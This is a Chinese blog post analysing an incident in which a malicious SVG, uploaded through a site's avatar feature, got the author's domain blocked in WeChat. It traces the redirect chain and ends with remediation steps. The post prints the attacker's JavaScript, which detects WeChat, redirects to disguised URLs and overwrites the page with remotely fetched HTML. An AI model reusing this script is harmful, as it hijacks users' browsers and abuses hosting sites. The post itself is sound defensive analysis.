博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
【已停止访问该网页】由一张图片引发的“血案”
阅读量:5140 次
发布时间:2019-06-13

本文共 3006 字,大约阅读时间需要 10 分钟。

先看个热闹

突然一天在微信上打不开我的域名了,被封了

image.png
然后我要疯,我没有这个svg啊,虽然系统中有图片上传的地方,但是也不会用到这个svg啊
image.png

想想,可能有人通过我的系统免费上传了这个svg然后在其他地方用了这个免费的资源流量。

下载这个svg,文本编辑器打开源码

打开https://ookwqc.com/t域名

(function() {            var ua = navigator.userAgent.toLowerCase();            try { document.getElementsByTagName("body")[0].outerHTML = "
Loading...
"; } catch (e) {}; if (/micromessenger/.test(ua)) { if (top != window || !document.body) { top.location.href = 'http://vcover.yayagushi.com/30004981820190320222503uc.jpg?now=1554189153'; } else { var a = document.createElement('a'); a.href = 'http://vcover.yayagushi.com/30004981820190320222503uc.jpg?now=1554189153'; a.rel = 'noreferrer'; a.click(); } } })()

上面一段代码写的很有意思,如果是微信浏览器打开是一张图片,否则是另外一张图片。

但是————不要被后缀伪装给迷惑了。
查询域名备案信息,哇塞备案了差不多500个域名,真流弊
image.png

打开微信那张照片

页面空白,但是作为开发人员,打开F12,哇塞

image.png

这个地址只是一个以jpg结尾的svg文件请求地址。

其中https://05ez.com/t又去获取下一个地址
image.png

不死不休,继续追踪

F12照看一下

继续找

var _shareUrl = 'https://05ez.com';var hm_c = 'a71a8a3c027d8f8703df08f83e95ef39';function _getParam(name) {    return location.href.match(new RegExp('[?&]' + name + '=([^?&#]+)', 'i')) ? decodeURIComponent(RegExp.$1) : '';}var ua = navigator.userAgent.toLowerCase();if (/micromessenger/.test(ua)) {    var _lay = document.createElement('div');    _lay.setAttribute('style', 'width:100%;height:2048px;font-size:1.4em;position:absolute;' +        'background-color:white;z-index:99999999;left:0;top:0;');    _lay.innerHTML = '
loading...
'; if (document.body) document.body.appendChild(_lay); document.title = "正在打开..."; var xhr = new XMLHttpRequest; var html = null; function getParam(name, url) { var r = new RegExp('(?|#|&)' + name + '=(.*?)(#|&|$)'); var m = (url || location.href).match(r); return (m ? m[2] : '') } function render() { var a = document.open("text/html", "replace"); a.write(html); a.close() } xhr.onload = function () { html = xhr.responseText; var delay = 0; if (delay > 0) setTimeout("render()", delay * 1000); else render() }; xhr.open("GET", "https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/index.html?t=" + Date.now(), !0); xhr.send();}

打开上面的页面

  
...

瞅一眼那个JS

js.png
好了找到地方了,多么喜庆。
image.png

找到问题就解决吧

再来找找这个svg文件上传的日志

2019-03-10T13:08:35.866304Z {"Accept-Encoding":"gzip","Content-Length":"992","Content-Type":"multipart/form-data; boundary=------------------------78ff25155c5e6156","IP":"127.0.0.1","User-Agent":"Go-http-client/1.1","X-Forwarded-For":"112.96.135.XXX157.255.155.XXX"X-Real-Ip":"157.255.155.XXX"X-Reqid":"DQYAAMIr4LjhmooV","X-Scheme":"http"} {"key":"XXX.svg","hash":"e5gx5xekD","bucket":"","fsize":252}

解决方案

1)限制系统中头像上传的文件类型为jpg/png (app端会裁剪照片,这2个类型够用)

2)如果使用第三方对象存储,建议修改秘钥

3)在nginx或者slb上限制该恶意ip,并设置SLB黑名单

转载于:https://www.cnblogs.com/Halburt/p/10644037.html

你可能感兴趣的文章
SpringBoot系列五:SpringBoot错误处理(数据验证、处理错误页、全局异常)
查看>>
kubernetes_book
查看>>
Redis 常用数据结构命令
查看>>
软件工程课堂作业
查看>>
OpenFire 的安装和配置
查看>>
web.config详解
查看>>
ZJOI2018游记Round1
查看>>
侧边栏广告和回到顶部
查看>>
https://blog.csdn.net/u012106306/article/details/80760744
查看>>
【转】从头到尾彻底理解KMP
查看>>
ios应用版本号设置规则
查看>>
海上孤独的帆
查看>>
error: more than one device and emulator 问题解决
查看>>
Java基础:容器
查看>>
YUV摘要格式
查看>>
【方法2】删除Map中Value反复的记录,而且仅仅保留Key最小的那条记录
查看>>
C# CheckedListBox控件的使用方法
查看>>
【HDOJ】2007平方和与立方和
查看>>
js中const,var,let区别
查看>>
SharePoint自定义程序页面部署 不用重启IIS
查看>>